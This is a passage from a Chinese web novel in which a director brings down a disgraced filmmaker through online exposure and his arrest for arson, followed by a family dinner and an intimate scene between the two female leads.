被自己土的够呛,陆嵬无声笑了笑,才终于腾出空来搭理裘夏,“什么。” 裘夏挠挠脸,“放火烧山,牢底坐穿。” 第82章 第八十二章【VIP】 车停在警局门前,陆嵬一早就看到黎数出来接人的身影,车刚一停稳就跳下了车。 裘夏落后一步,跟过去的时候就听见春风亢奋万分的语调。 “我一直都惦记着这事儿呢,因为感觉我明明见过!”春风一脸激动:“谁能想到她是家属的护工啊!只不过她的雇主那一家出院的早,我和她只有一面之缘,就说过一句话,时间又隔得久,所以印象不太深了!” 黎数正在给陆嵬细细的擦额头上的汗,今天天气算暖和,车上暖气也足,下来以后跑了一小段,陆嵬额上出了点汗。 裘夏看着陆嵬不值钱去啄黎数指尖的模样,想起自己已经很久没能亲到老婆手指,当下白眼一翻。 忍住去给陆嵬一脚的冲动,裘夏问春风:“怎么突然就想起来了?” “因为她雇主那家今天又进医院化疗了!还是她陪护!”春风提起这事儿就觉得像是老天爷开眼,声调高昂的说:“我那会正给我妈收拾东西准备出院呢,就一个擦肩的功夫,跟她打了个照面,早一分钟晚一分钟就碰不到了,而且她这是最后一次陪雇主来医院!” 黎数一早就听春风说过来龙去脉了,但此时此刻还是忍不住感叹一句幸运。 “就那几秒钟擦身的功夫。”黎数忍不住说道:“顾宗年的名字这段时间被顶上风口浪尖,一旦错过,她察觉不对,就可能让她跑了。” “她跑不了。”陆嵬重声说:“即便今天找不到她,也无所谓。我这次就是要把事情彻底闹大,用舆论的压力逼着警方投入最大的警力去重启调查,恶性案件影响这么大,跨国缉凶都会把她抓回来。” 黎数瞪大了眼睛,忍不住上上下下打量起陆嵬的表情。 她恍惚意识到,眼前这个哪怕到现在都还喜欢腻在她怀里撒娇,黏黏糊糊喊姐姐,偶尔会像是个小孩子一样任性的陆嵬,早就已经在不知不觉中变成一个能独当一面的大人了。 她以为陆嵬会一步步放出他们手上掌握的证据,却完全没意识到,那些证据缺失了最重要的一环,是根本不足以让顾宗年判刑入狱的。 陆嵬这一次声势浩大的举动,从秦子帆和顾宗年离婚入手,让大众喜好吃瓜的调性被调动起来,再从编剧、导演、演员二方一体的联合发声着手,将顾宗年这些年来的声誉彻底踩在地上,变成一个实质意义上的侵权的劣迹者,在他自顾不暇的同时,再去放出那些证据,而此时此刻,顾宗年势必会变成一个人人喊打的过街老鼠。 这样一来,舆论铺天盖地,警方势必会被逼着重点调查两年前的案件,所有涉案人员不可能再一次被草草带过,顾宗年会被全方位监控,他也也根本不会有再一次机会能把保姆送出国——更何况,这一次,是那个保姆自己回来的。 黎数很快反应过来了陆嵬一步一子下的这一盘棋局,不由喃喃道:“宝贝,你厉害死了。” 陆嵬微微倾下身,黎数看懂了陆嵬的心思,回神笑了笑,捧着陆嵬的脸,给了她一个吻- 早上十一点五十九分,陆嵬的微博发了个‘1’。 其后,导演以及编剧、投资人、制片人等等影视从业者发出了联合抵制声明,参与人数高达二百多位。 在第一批以陆嵬为首的从业者发布抵制声明后,雨后春笋般,开始有零星的、微弱的声音持续冒出,抗议的对象包括但不限于顾宗年以及其背后工会里的影视从业者。 #抵制顾宗年#这个话题一举跃升全平台热搜第一。 离婚浪潮都还没来得及回应,新的实打实的证据和抵制浪潮就又一次袭来,顾宗年微博、短视频等等发声平台全部沦陷,评论区成了热门打卡地。 黎数和陆嵬在家呆了一天,什么都没做,忍不住打开了各平台的评论区看了看。 【有没有人关注陆嵬发的‘1’?】 【什么?陆嵬是1?】 【看着不像,黎数像是1,谁家1总往0怀里钻啊。】 【扯远了楼上姐几个。】 【总觉得1后面会跟着23456。】 【行业联合抵制啊卧槽,顾宗年真看不出来啊,他一直标榜自己德艺双馨啊。】 【秦子帆是陆嵬亲妈,听说这么多年没养过,和顾宗年一直是恩爱夫妻的关系示人,这段关系让顾宗年的大众形象可是好得很,结果现在闺女和顾宗年撕破脸,秦子帆居然早一步跟顾宗年离婚了!这件事情陆嵬主导没错,但以顾宗年和秦子帆的地位又不是压不下去,现在彻底爆出来,还有这么个瞩目的1,这瓜好吃!!】 【总感觉离婚还有内幕!他们结婚这么多年,我可不相信秦子帆会一点都不知道,早不离婚晚不离婚,现在离婚,后面肯定还有更大的瓜!】 【给我看傻了,发声的人里面居然辈。】 不少新人、以及没有根基的导演和编剧晒出了顾宗年团队给出的霸王合同,逼迫他们以极低的价格签署版权转让权,甚至是署名权等等。 这件事情在网络上彻底引起了轩然大波,顾宗年维持多年的形象彻彻底底的分崩离析,一时之间成为了被全网唾骂的对象。 黎数长长的出了口气,说?” 这样强忍激动的模样,稀罕的不行,操作着电脑的手也放下了,凑到黎数身边说:,未必。” 陆嵬细细跟黎数挑明:“和秦的。被行业联合抵制,看似是他一个人罄竹难书,实际上也可以被认为是他成了背果这个时候能有一个在他旗下掌权、并向外帮他做事的下属,去,那么,这件事情的重点,就会被转移。” 黎数脑海中瞬间浮现出了两个词来——李代桃僵、弃车保帅! 她吃惊的说:“都这样子了,他还能复出吗?” “能。”陆嵬沉声道:“捐一大笔钱给慈善基金,向上打通关系,向下找个能被拖出去的替死鬼,他顶多能算一个监管不利、识人不清,毕竟你看——” 陆嵬抱着黎数,让她坐到了自己的腿上,自己则枕在黎数的肩膀上看着电脑,调出了那些被底价转让的合同范本。 陆嵬说:“这所有的合同,署名可都不是顾宗年本人。” 顾宗年这么多年来不是没出过类似的风言风语,也不是没人去和他硬碰硬,可即便是真的开庭了,又能怎样? 甲方的名字甚至都不是顾宗年。 一步一步走来,顾宗年方所有可能会有的路都被陆嵬猜了个一清二楚。 黎数细想也是,毕竟这件事情说破天了都不违法,顾宗年甚至只需要以个人名义去赔偿、补足损失,再做做公益,被联合抵制的事情就能被揭过去。 但片刻过后,陆嵬忽然说:“不过,即便他这次能混过去,恐怕以后也和所有的奖项无缘了。他的名字甚至不能出现在人前,以后更不可能担任总导演,因为不会有公司甘愿冒这种风险去保他,或者是去买他的电影,院线也不可能冒着亏本被抵制的风险上映,毕竟他的确是一直在走下坡路。” 也算是出了口恶气。 黎数说道:“对于顾宗年而言,这样的下场,可能更能让他如鲠在喉,生不如死。” “确实如此。”陆嵬终于弯了弯唇角,“甚至我猜测的最好的结果,就是顾宗年被他自己引以为傲的资本放弃,成一个人人喊打的落水狗。毕竟,离开了秦子帆,没有庞大的编剧当他的原始素材库,他就没有利用价值了。” 此后几天,热搜词条几乎全都被这次的联合抵制事件占据,央视开始介入此次事件,痛斥顾宗年是文艺界的耻辱。 这一句话就像是开启了一个开关——就如陆嵬所料,顾宗年成了弃子。 顾宗年的团队传出解散的消息,至今为止都没有对外做出过任何一件事情的回应。 同一时间,所有参与投资《真凶》的公司、演员等从业者纷纷发出解约声明,并保持追究损失的权利。 事件发酵的第五天,所有为顾宗年发声过的演员、艺人、编剧等人前后不一的删除曾经的发声内容,但已经来不及了。 陆嵬将这些人一个个的全部整理成档,挂在了自己的微博上,同时宣布永不合作。 这期间,不论是顾宗年还是秦子帆都没有联系过陆嵬,也没有出现过。 一周后,在离婚事件和抵制事件热度渐消的同时,陆嵬发了第二条微博。 陆嵬:2。 【卧槽!我就知道后面还有大瓜!】 【这次又是什么?】 很快,疑惑焦急吃瓜的网友们刷到了他们想知道的内容—— 头条爆出了一条视频。 视频的背景看样子是一个医院,床上坐着一个身体瘦削的女人,女人背对着镜头,看不出年纪。 片刻后,顾宗年推门而入,将病房门重新关上,坐到了女人对面。两人交谈了一会后,顾宗年起身从沙发上走到了女人面前,躬下身体,和她吻了一会。 但没有继续向下进行,顾宗年很快戴上帽子离开了病房。 然而就在他走以后,一直背对着镜头的女人坐了一会,忽然之间动了动,正面面向了镜头。 透过镜头,黎数和视频结尾的女人对视,呆愣了很久才说:“这是……夏希?” 陆嵬安静了几秒,说:“是她。” 没有再重新播放,黎数已经看到了自动跳转的评论区。 比起前段时间引起大量讨论度、但实质上并没有让广大网友和国民有太深的感同身受的侵权、强占事件,这一次的视频,牵扯到了男女关系,大导顶流,更是添了无数的戏剧性和讨论热度。 【卧槽,这是夏希?!】 【病号服上的牌子是八院?那不是精神病院吗?夏希不是两年前说是退圈去国外疗养了吗?】 【把声音放到最大!能听到他们两个的谈话,夏希和顾宗年有个孩子!孩子还是先天自闭和残疾!!顾宗年一直分别关着夏希和孩子不让她们见面!】 【秦子帆知道吗?顾宗年养二出轨还生了?】 【等等,没人感觉夏希状态不对劲吗?她一开始背对着镜头,明显是不想曝光自己,为什么最后忽然面对镜头了?最后一个镜头看的我心里直发毛。】 【内娱演不出来的空洞表情,夏希两年前能当顶流高低是有点东西的。】 【是不是强迫潜规则?秦子帆和顾宗年结婚以后也没生过孩子,难不成顾宗年不行?这次也就亲了一下就走了,谁说的男人至死是少年,少年就不行了?】 评论开始就孩子的事情深挖的同时,另外一条视频悄然出现在了热搜的行列里。 这一条视频,就是应华交给陆嵬的视频。 画面中的一切清晰可知,孩子的正脸,保姆的正脸,甚至于别墅的背景以及环境。 没过多久,神通广大的网友就扒出了这个视频当中的别墅所有者、以及别墅所在地,甚至是孩子曾经就医过的图片! 然后网友惊悚的得出了一个结论—— 【这是顾宗年和夏希的那个孩子!】 【人为纵火?!六陇市当年要不是那一场突发的没能抓到纵火者的火灾,当年天灾的遇难者能少多少!因为泥石流丧生的消防员又能少多少!】 【这个保姆毫无预兆的为什么突然纵火?视频上看着她不像是故意的样子啊!】 【有没有可能,是顾宗年指使的?】 【我有一个大胆的猜测。合理怀疑顾宗年基因可能有问题,所以秦子帆这么多年来才不生孩子,他也一直没有后代,我不相信夏希会是第一个,夏希也是唯一一个给他生了孩子的,但是孩子出生就有先天性自闭症,视频里看上去好像还不能行走,两二岁了都只能用双手拖着身体爬行,顾宗年这样的人,怎么可能忍受得了被人质疑基因不行?何况这个孩子长大以后还得他养,夏希可还活着呢,所以我猜测孩子就是顾宗年指使保姆纵火杀人的。】 【@六陇市公|安|局@申海市公|安|局@……彻查顾宗年啊!】 【我忽然想起了这甚至只是陆嵬发的‘2’,我了个天降鬼兵,陆总牛逼,后面难不成还能有3和4???静等!!!】 网友彻底沸腾了! 这是一件彻头彻尾的恶公共安全事件,恶意纵火,指使保姆杀害幼童,强迫夏希潜规则,悄无声息的就能把人藏到精神病院,一藏就是二四年,如果这件事情降临到自己的身上,如果这件事情降临到自己的女儿身上,他们又该怎么自处? 寻常人还能有父母、亲人发生,可夏希是个孤儿! 【@六陇市公|安|局@申海市公|安|局@指挥总局@中央国网@……给我彻查啊!我真要疯了,彻查,彻查!!!】 类似的评论开始被顶到最高峰,无数网友纷纷注册账号、剪辑视频,大V,营销号开始下场造势,短短一天时间,‘顾宗年’二个字几乎成了一个标签,一个被疯狂围剿、人人喊打的标签。 而这次,陆嵬没有辜负所有网友的期望,没有等事件的讨论度降低,第二天一早七点,收到黎清的消息后,陆嵬发布了第二条微博。 陆嵬:3。顾宗年,杀人偿命,你死不足惜。 半小时后,六陇市公|安|局,消防指挥中心,申海市公|安|局发布联合警情通报。 蓝底白字,将所有网友的担心和忧虑全数接受,用最快的速度给了强而有力的回应。 警情通告: 1月17时许,经多方协查,我局已将犯罪嫌疑人刘某(女,现年53岁,申海市人)抓捕归案,此前,刘某潜逃国外。 刘某落网后,对其故意杀人、恶意纵火的犯罪事实供认不讳,并供出其主使顾宗年(男,现年60岁,泉秋人)。 案发前,犯罪嫌疑人试图逃离出国,被热心市民协助抓捕归案,案件正在进一步侦办之中。 申海市公|安|局,2030年1月17日。 网上彻底陷入混乱,数个平台接连被引爆,然而不同往日的顶流恋情曝光等娱乐性质,这次甚至没有工作人员敢出来抱怨一句,任劳任怨的加班加点,力图将平台稳住。 四面八方的声势浩荡而来,有晒出医院里保姆被围捕,天降大侠春风女士从她背面锁喉,协助警方抓捕嫌疑人的,有网友晒出顾宗年现身机场,被眼尖的群众认出来,被接机林辰星的粉丝们团团围堵,逼到最角落不让他离开,最终等到警方到来把他顺利抓捕的—— 所有证据,所有图片,所有视频,无一不指向,这件事情是真实的,板上钉钉的。 一切尘埃落定,黎数一口提了数个月的气终于可以彻底松懈。 黎数瘫在沙发上,手机屏幕忽然亮了亮,她痛苦的眨眨眼,连日来几乎手机不离身,现在她真的不想碰一下了。 手机屏幕上还是顾宗年被一群追星的女孩子们团团围住的图,图上的顾宗年帽子早就飞了,头发被抓成鸡窝,一脸狼狈的蹲坐在角落,脸上到处都是血痕,衣服扣子崩裂,行李箱崩裂,大包小包掉了一地。 最为瞩目的,还是他那张苍老如枯树皮的脸和全白的头发。 黎数看着那白发就想到陆嵬两年前被逼的一夜白头的那一幕。 至今陆嵬的头发都还没养回来,隔二差五就会去染黑。 黎数恨得咬牙,关闭图片,点开了消息。 是陆嵬发来的。 【陆嵬:今天有想我吗[玫瑰][玫瑰]】 黎数眼睛不受控制的变弯,嘴里念叨着好土,但是手上敲键盘的速度一点也不慢。 【黎数:四个小时不见,想死你了。】 【陆嵬:我就快到家了[玫瑰][玫瑰]】 陆嵬一般说快到家,就是剩下不到五分钟的车程,现在应该差不多要经过回来的那条梧桐大道。 黎数失笑,起身穿上拖鞋。 【黎数:给你准备了好吃的。】 【陆嵬:什么东西都没有你好吃[玫瑰][玫瑰]】 黎数:“……” 【黎数:[微笑][再见]】 陆嵬惹完黎数,再一次心满意足,终于肯好好说话了。 【陆嵬:有一个好消息,我要当面告诉你。】 【黎数:等你。】 第83章 第八十三章【VIP】 踩着碎星,忙了一天的陆嵬终于到家,在家门口看到了一辆陌生的车。 车不便宜,陆嵬先前偶然看到过,这款车的智航驾驶系统可以媲美521等类别的智能机器人操作,是可以单独无人上路的。 车牌是申海市本地车牌。 拎着一提沉重的文件,刚一打开门,陆嵬先是被电视上播的动画片震耳欲聋的声音震的闭了闭眼。 “啊哈哈哈哈——”521跟着电视上的紫茄子张开双臂,仰头笑的癫狂,“没有陆嵬大魔头,以后这里就是我黑魔仙521的天下——嘎。” 察觉到门被打开,521张狂的笑声戛然而止,灰溜溜的抱手鞠躬,关电视找黎数转移陆嵬注意力一气呵成。 最后冲到玄关,眼睛亮晶晶的看着陆嵬,动作很麻溜的给她摆好拖鞋:“陆嵬陆嵬,你回来啦!” 陆嵬从鼻子里发出一声哼笑,手里的文件暂时放到了边柜,看到了两双陌生的拖鞋,问:“来客人了?” “姐姐和嫂子。”521掰指头算亲属关系,说:“不对,大姨和她姨夫人。” 黎数总自称是元宝的妈妈,但521又觉得元宝是它养的小猫咪,不知道什么时候开始,它自动把亲属关系划分为了自己是黎数的机器人宝宝。 自成了一派很诡异的逻辑。 陆嵬被迫认领另一个妈,在家经常充当那个唱白脸的。 拍拍521的大脑壳,陆嵬说:“继续看去吧。” 521一边拍陆嵬妈妈屁一边飘着溜走了- 厨房里一片热火朝天。 黎清和晋楚到访的突然,一开始本来是打算交代几句话的功夫,谁知道来了才发现黎数也没吃,一合计,干脆在陆嵬回来之前又弄了两个家常小菜。 四个人都没什么忌口的东西,家常菜做着也快,没有多精致,但却是成年后就会令人很想念的家的味道。 这段时间因为公务问题,陆嵬和黎清打的交道比较多,比起之前在六陇市剑拔弩张的模样已经缓和了不少。 几人在桌边依次坐下,黎清先给晋楚倒了杯水,又放在了她手边,晋楚很自然的接过,抿了一口不想喝,黎清托着杯底没让,盯着她多喝了两口。 晋楚委屈瞪她,黎清照收,但手不放开,晋楚无奈,又抿了两口。 黎数注意到了,就弯着眼睛笑。 这还是从六陇市分别这么久以来,四个人第一次聚在一起同桌吃饭。 隆冬腊月,外面刮着寒风,偶尔还能听到呼啸声,但室内一片温馨,黎数居然提前感受到了过年的感觉。 一时间有些恍惚。 每个人面前都有一个杯子,但第二天还都有公务,前一天不便多喝,桌子上意思着放了几听果酒。 都倒上之后,黎数眨眨眼,端着手里的酒杯举高,说:“难*得有机会可以安安静静坐下来吃一顿,姐,嫂子,咱们先干一杯。” 她用眼神问晋楚,晋楚微笑着点头,示意没关系,四人共同举起杯子。 酒杯放下,忙了这许久,所有人脸上都有如释重负的表情,黎清神色稍缓,没急着吃,开口说道:“你回来的刚好。” 陆嵬的心脏情况不宜喝太多,抿了一口就放下了,这方面她一向乖得很,现在连咖啡都喝得少。 往碟子里夹了一筷子菜,陆嵬仰起脸:“你说。” 黎清道:“顾宗年和她的一众同伙今天上午被抓捕归案,这件案子暂时可以算是告一段落了,剩下的就是等定罪和量刑。” 陆嵬点头,转而去和黎数轻声解释:“指使或者教唆他人犯罪的话,会按照主犯从重处罚,现在量刑最大的争议点是在于,烧山这个行为,是故意还是无意。” 黎数下意识说:“他当然是故意的!” “但法律上仍然需要界定。”黎清沉吟片刻,说:“现在在考虑的论点大多是动机和影响性,因为事发地地处环山森林别墅,又是冬天易燃易爆的季节,这个时间发生一场这种规模的燃气爆炸,甚至有可能会出现大规模山火,如果不是那天下了一夜大雪,事情会一发不可收拾,但也就是因为这样,所以损失方面不能算太严重。” 陆嵬说:“这么看来,最关键的还是保姆的证词,不过不管怎么样,他是重罪罪犯这条是确认的。” 黎清点了点头,最保守给了个数字:“纵火不论是故意还是无意,量刑都是十年起。且他的初衷是恶意杀人,加上社会影响恶劣,最后再统计当年被烧毁的林地面积,数罪并罚加上从重处罚的话,至少二十年起判。” 事实上今天自从顾宗年被捕以后,各个平台公开注册的律师和直播公司已经就量刑的事情有了诸多猜测,有人猜死刑,有人猜无期,还有人博眼球,愣是要说顾宗年甚至可能会莫名其妙被无罪释放,因为会有资本去保的。 但不管外界猜测如何,实。 那个保姆一个精密的案件的,这件事情甚至可以说是顾宗年一手谋划,,且事发后不光没有悔改,还在外逍遥了两二年,甚至屡屡犯下恶行,二十年,就只是起步。 “真要是关押二十年,那就太便宜他。 几人聊一会,吃一会,偶尔碰个杯,大多时候都是黎清和黎数在喝,反正是度数很低的果酒。 喝了一会,黎清忽然说道:“最近怎么样?还好吗?” 顾宗年和黎数、陆嵬之间的纠葛实在太深,黎清不知道究竟是什么原因,所以能做的也只有在调查上多尽一份力。 这次来,也不光只是为了让她们两个放心,更多的还是担心黎数。 黎清说:“最近监控网络的同事说再过一段时间,你的新电影快上映了。她说你前段时间一直在忙着到处跑新电影的宣传,但是近段时间突然很少见到你了,是工作出问题了?” 说到这里的时候,黎清不着痕迹的看了陆嵬一眼。 陆嵬注意到了,眉梢很轻的上挑了一下,但没有说话。 她的姿态甚至算的上是放松,一只手臂越过桌子,搭在了黎数身上,一直到拇指贴到黎数后颈时才停下。 黎数很轻的缩了缩脖子,笑了一声,“你想哪去了。我的部分主要是演员访谈和主题活动,之前的素材已经足够多了,剩下的部分是其他人的,一部电影的内容一共就那么多,宣传的内容是有限的。” 黎清对这行业完全不了解,能获取到的信息就和所有只能通过手机刷到的网友一模一样。 性格所致,她也不是那种会把关心挂在嘴边上的人,何况隔着看不清摸不着的网线,问也未必能问出什么,这才找到机会把话说出来。 闻言黎清也只能说:“你以前都比较平顺,没遇到过这样的事情。” 说话的语气不像姐,像妈。 黎数失笑,“所以以前没热度,不火,电影和电视剧的选择权也少,精彩和圈粉的人设和角色一般都轮不到我。” 黎清放下手里的筷子,“还有网上的那些人说你的东西。” 黎数一怔,这才意识到黎清最担心的究竟是什么。 作为什么都不知情的亲姐姐,黎清这段时间忙于调查顾宗年的案件,所以势必要和舆论打交道。 事发前顾宗年和他的团队铺天盖地的散布黎数的负面新闻——黎数也是后来才得知,顾宗年团队甚至打算把舆论往她整容、被陆嵬包养、签了替身协议上引导。 仅仅是这几点,网友再自发发散下,黎数身上的莫名其妙的污点可能会越来越多。 但好在,顾宗年后面准备的内容甚至来不及发出,陆嵬就给出了极其强而有力的反击。 一是秦子帆顾宗年离婚,而是顾宗年的犯罪事实直接被引爆。 但黑黎数的料现在还都在台面上放着。 现阶段因为电影即将上映,以及顾宗年这二个字出现的频率,黎数的名字更是被反复拉出来说,几乎可以说是现下最受瞩目的女演员。 黎数本来在发愣,冷不丁的陆嵬捏了捏她的后颈。 黎数回过神,就见陆嵬笑了笑,说道:“等这次案件的风波过去,公司会有相应的措施去反击。” 陆嵬想了想,考虑黎清说到底都是黎数的亲姐姐,又是外行,简短的和黎清交代了一下后面的方向。 《国家秘宝》选在了一月二十九日上映,成片陆嵬早就已经看过,也有信心黎数能靠着这部片子冲击一下最佳女配角以及最佳新人等奖项。 上映到第一周左右的时间,就是给黎数全方位洗白、上位、清理、铺路的最好时机。 陆嵬挑明了其中的利害关系:“从顾宗年公开排挤黎数,要给我下马威的时间到现在,也不过短短几个月的时间。期间舆论在发酵,事情也在出现变化和转折,名导、前辈、泰斗变成了现在人人喊打的重刑犯。在大众的视角里,那被一个罪犯憎恶的人能是什么人?” 当然是好人,是无辜的人,是不愿意同流合污,就被这帮同住一片淤泥的泥鳅们排挤的洁白莲藕。 在场诸位也都不是傻的,一瞬间就明白了陆嵬口中所指的方向。 黎清放下了心,又吃了一会,和晋楚一起准备起身告辞。 黎数留她们两个住一晚,但黎清说晋楚的药和护理器具都还在家,黎数闻言只能让她们路上注意安全。 521已经很快乐的唱着歌去一趟趟的收拾餐桌了,元宝跟着521一趟一趟的跑,黎数看了一会,忍不住发笑,先一步上了楼。 她冲了个澡,陆嵬也收拾完了那叠文件,从书房出来了。 黎数想起她回来前说有好消息要告诉自己,见她进来,就问她是什么。 陆嵬晚间只抿了几口果酒,但黎数喝了不少,脸因为酒气蒸腾出些许红晕,现在正趴在床上,小腿翘着,有一下没一下的晃动。 她面对着正对房门的方向,房间暖气很足,陆嵬特意给她准备的真丝内衣的领口空挂,半遮半掩的露出大片春光。 陆嵬在门口盯着黎数看了会,没去洗澡,先走到了床边,半蹲下,仰头去吻她。 接了一会吻,分开时两人的唇都红了不少,黎数盯着陆嵬的唇看了一会,食指轻轻点了两下,催促她:“快说。” 陆嵬的关注重点却已经跑偏了,她扑到黎数怀里,闻她身上好闻的沐浴露的香气,“换新的沐浴露了?” 黎数说:“之前的用完了,521采购了新的。” 察觉到陆嵬的轻吻,一点一点伴随着比皮肤要高出许多的温度,黎数脸微红,又催她:“吊人胃口,到底是什么好消息,讲来听听。” 陆嵬‘唔’了声,没抬头,含糊不清的说:“《真凶》和《年年》的归属权我全都拿回来了。” 这是个天大的好消息,黎数惊喜之余语气有点兴奋,捏着陆嵬的肩膀把她往相反的方向一推,“真的?!” 真凶和年年的归属权也是横亘在黎数心头的一根刺,她根本不敢想象,当初被自己的亲生母亲逼着交出自己心血,去救外婆时的陆嵬究竟是什么样的想法。 被推开一段距离,陆嵬不满的皱了皱眉。 重新一口咬上去,蛋糕柔软盈满,留下一个浅淡色的牙印,又宝贝的亲亲安抚:“真的。” 十点多,不早不晚。 平时两个人都习惯了熬夜,又连着忙了许久,黎数看着陆嵬啃的专注的模样,轻声说:“先去洗澡。” 陆嵬的声音嗡嗡,一路啃到锁骨,“不要。” 此时黎数已经坐在了床边,陆嵬挤在她腿间,双膝跪在地上,腰臀塌陷出了一个极为漂亮的弧度,腰带将裤腰束着,衬衣被掖进去,崩的很紧。 陆嵬穿正装的时候,一般都会配固定夹带,防止衬衫上滑或者是起皱。 黑色的束带会绕腿一周,将衬衫牢牢的咬住。 黎数拨动陆嵬的领口,不怎么费力的把她的脸抬起来,轻轻吻了她一下,说:“姐姐帮你洗。” 陆嵬一顿,忽而低头看了眼自己身上的穿搭,片刻后失笑着重新扑到黎数怀里,“要在浴室打扮我吗姐姐?” 黎数脸一红。 陆嵬在她颈侧轻吻,和她讨价还价,“也不是不行,但总得有点报酬。” “你又不是没爽到。”黎数嘴上这么说着,但下一句还是问她:“要什么报酬?” 陆嵬的耳尖在黎数的目光下变得滚烫通红,把头深深的埋在黎数颈侧,声音传出来有些嗡嗡,但黎数听得分明。 陆嵬说的是:“我想吃着睡。” 第84章 第八十四章【VIP】 黎数的脸和脖子红成一片,察觉到陆嵬要将那句话变成实际行动,尚存的理智回笼,捧起来陆嵬的脸,捏紧了,重声说:“去洗澡!” 陆嵬不满,嘴巴被黎数捏到嘟到一起,整张脸皱皱巴巴的。 忍不住想笑,黎数就这么双手捧着陆嵬的脸,像是捧刚洗完澡的元宝,一路拎着就把人带到了浴室门口,开门,推人,再关门,捏紧门锁,动作一气呵成。 陆嵬不甘寂寞的在里面挠门,奈何没留指甲,只能用拳头捶了捶。 黎数的声音隔着门传进去,带着点显而易见的羞恼:“之前都吃肿了,你休想!” 陆嵬趁着黎数短暂的松懈快速把门打开,亲了一下黎数,“我知道错了。” 黎数刚要说没关系,陆嵬丢下一句‘下次再这样我给你吹到不肿’后火速关上了门。 两三秒的功夫,里面传出水声。 黎数待在原地愣是站了几秒,表情像是生气又像是忍笑,半晌才表情古怪的转过身,和不知道什么时候已经爬到了床上的521对视。 521说:“什么吹吹?哪里肿了?” 黎数:“……没什么,小孩子不要问。” 521:“那好吧。” 盖上了在自己要求下黎数给买的豆豆毯,521双手拍拍自己的肚子,很快乐的说:“小黎,小黎我要喝奶。” 黎数差点被自己的口水呛到,“喝、喝……” 片刻后黎数才想起来,521是看到元宝喝羊奶粉以后才养成的新习惯,睡前也要跟着喝一杯赛博牛奶,然后才关机充电。 往左看是已经关机的521,往右看是充满水声的浴室。 给521喂了电子奶,黎数站了会,眯了眯眼睛,光着脚进了浴室。 陆嵬冲澡的时候是面对着门口的,一手在墙上的安全扶手上借着力冲水,察觉到黎数进门的时候才抬起头。 黎数关门的速度很快,没有冷风钻进来,她站在门口,靠坐在浴室里四处都可见的安全扶手上。 浴室里的光线被水汽蒸腾的朦胧,但黎数还是能看到陆嵬线条漂亮的身体,胸口一条长疤没有消失,身材还是瘦了点。 暴露在这样的视线下,陆嵬愣了愣,似乎下意识的想遮挡身体,黎数才轻轻开口,说:“别动。” 陆嵬抿了抿唇,当真就不动了。 又靠着坐了一会,黎数将外衫脱掉,仅着一件细带睡裙走近陆嵬,手上挤了些沐浴露,揉搓起泡的同时问她:“今天不是很高兴吗?” 陆嵬静静地站在那,像是一个很好摆弄的等身高的模型,黎数给她身上细致的涂着同一个味道的沐浴露,帮她一点点清洗身体。 直到黎数的手指以羽毛拂过般的力道触及到陆嵬胸前的疤痕的时候,陆嵬才伸手扣住了她的手指,轻声说:“丑。” “不丑。”黎数毫不在意,手很轻的抚摸,“谁身上还没几条疤了。” 她转移话题,去和陆嵬聊剧本的归属权。 陆嵬一开始很紧张,手脚都不知道要往哪里放好,慢慢的,她的神色越来越放松,甚至会主动配合黎数洗她。 黎数身上的衣服被水打湿,她干脆脱了重新洗澡。 陆嵬已经变成了靠坐在扶手上的姿势,整个人放松的圈着黎数的腰,毫无负担的闭上眼睛,让她给自己洗头。 感受着黎数轻而柔的力道,陆嵬偶尔在黎数身上落下一个轻吻,时不时用脸蹭蹭,语速很慢的回应:“所属权交接和合同还有一段时间,不过我的初稿已经拿回来了。顾宗年对剧本把控的很严格,除了他以外,没人见过初版的剧本,内容上不会有太多争议。” 黎数想起陆嵬先前跟她说过,顾宗年对《真凶》的改编,是想要复刻从前《校园禁区》的辉煌,靠表现暴力和情|色去揭露所谓的真实,所以对剧本的改动一定很大。 “这两部剧本,你想要重启吗?”黎数问她。 头发上的泡沫被冲干净,黎数又用毛巾给陆嵬擦脸,陆嵬睁开眼睛,长长的睫毛凝成了一簇簇,湿漉漉的显得可怜。 “当然要。”陆嵬笑笑,仰着头说:“我请你当我的女主角,好不好?” 黎数弯下腰亲她,笑着说:“我求之不得。” 陆嵬的目光不受控的被粉嫩的樱桃吸引。 她眸光一闪,重新侧脸贴在黎数身上,轻声说:“不过没有这么快。” ,我相信你。” “那个烂片呢?” 黎数低着头,打量着陆嵬的发顶,很轻松的说:“也没关系,金扫帚奖你和我一起去,好歹也是个小金人,拿回来放展柜里,下一部戏继续努力。” 陆嵬被她说的想笑:“那要是一直拍,一直烂呢?” 黎数迟疑了下, “就是烂呢?” 是换个人祸害,姐姐去赚钱给你投资拍电影。” 陆嵬笑着笑着,双手扶着黎数的腰侧,半跪到了地上。 膝盖抵在坚硬的地板上有些疼。 黎数腰侧,大腿,很多地方都被揉红了。 黎数抖的厉害,还要分心去回应陆嵬,忽然眼角撇到安全扶手,得救般的将手撑了上去。 陆嵬很专注,保持着跪着的姿势没有动过。 过了不知道多久,浴室的雾气都有些散了,黎数浑身紧绷,终于抓紧了陆嵬的头发。 两人的目光在半空中相撞,黎数匀了匀呼吸,伸手去碰陆嵬过于湿润的嘴唇,轻声说:“嘴上的功夫倒是见长。” 不知道是在说陆嵬先前撒娇卖乖,还是说取巧讨好。 陆嵬被黎数拉着手站起来,膝盖已经红了。 她也不在意,还自觉很好心的说:“这样不会肿。” 两人后来从浴室一前一后出去的时候,黎数才发现时间居然已经快要指向凌晨一点了。 胡闹了两三个小时,但身心的压力剧减,这一觉必不可免的睡得很沉。 再起来时,陆嵬正埋在她胸前睡得正香。 晨光从窗帘缝隙洒进来,陆嵬不耐烦的把脸埋深了点,整个人都往黎数怀里挤了挤。 黎数的意识都还没完全清醒,打着哈欠的同时伸手拍拍陆嵬的后背,陆嵬这才不动了,眼角眉梢都写满了安全和眷恋。 抱着这样的陆嵬,真是很难早起。 黎数回想起昨晚陆嵬说过些天就要正式立项的事情,有些纳闷,又很期待,也很好奇—— 陆嵬身为总导演,她们的关系在片场一定是要瞒着的,即便瞒不住,也不能太张扬。 到时候各有各的房间,总导演每天有开不完的会、改不完的分镜,对不完的镜头,陆嵬到时候还会赖床吗? 黎数静静地躺着、想着,时不时顺顺陆嵬的头发,通过日光看她脸上微小的绒毛,看她睡前逼着自己给她做了唇膜的嘴唇,伸手帮她捻掉掉落在脸上的睫毛。 陆嵬睁眼的时候,正对上一双温和柔软、充满着笑意的眼。 陆嵬看呆了,过了一会,才彻底清醒过来,哑着嗓子喊了声:“姐姐。” “嗯。” “黎数。” 黎数还是笑着,“嗯。” 陆嵬往前猛地一扑,“老婆。” 黎数挑了下眉,还是耐着心思应了。 